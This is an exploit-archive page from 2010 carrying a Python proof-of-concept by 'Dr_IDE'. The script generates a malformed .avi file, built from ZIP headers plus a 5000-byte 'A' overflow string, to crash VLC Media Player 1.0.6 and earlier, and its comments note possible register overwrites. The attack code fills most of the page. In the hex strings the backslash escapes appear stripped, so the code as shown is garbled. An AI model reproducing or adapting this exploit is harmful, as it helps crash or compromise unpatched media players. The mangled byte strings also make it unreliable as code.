VLC Media Player <=1.0.6 Malformed Media File Crash PoC
Posted on 28 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>VLC Media Player <=1.0.6 Malformed Media File Crash PoC</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================= VLC Media Player <=1.0.6 Malformed Media File Crash PoC ======================================================= #!/usr/bin/python ###################################################################################################### # # VLC Media Player <=1.0.6 Malformed Media File Crash PoC # Found By: Dr_IDE # Tested: Windows 7, Ubuntu 9, OSX 10.6.X # Download: http://www.videolan.org # Notes: Register overwrites seem very unpredictable at best... # Greets: Offsec and Corelan Teams # ###################################################################################################### ldf_header = ("x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00" "x00x00x00x00x00x00x00x00xe4x0fx00x00x00") cdf_header = ("x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00" "x00x00x00x00x00x00x00x00x00xe4x0fx00x00x00x00x00x00x01x00x24x00x00" "x00x00x00x00x00") eofcdf_header = ("x50x4Bx05x06x00x00x00x00x01x00x01x00" "x12x10x00x00x02x10x00x00x00x00") filename = "VLC_Doesnt_Like_Videos_That_Are_Really_Zip_Files.AVI" exploit = filename exploit += "x41" * 5000 print "[+] Writing file" file = open('boom.avi','w'); #Anything here works, mpg, mp4, asf, mov etc... file.write(ldf_header + exploit + cdf_header + exploit + eofcdf_header); file.close() print "[+] Exploit file created!!" # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-28]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>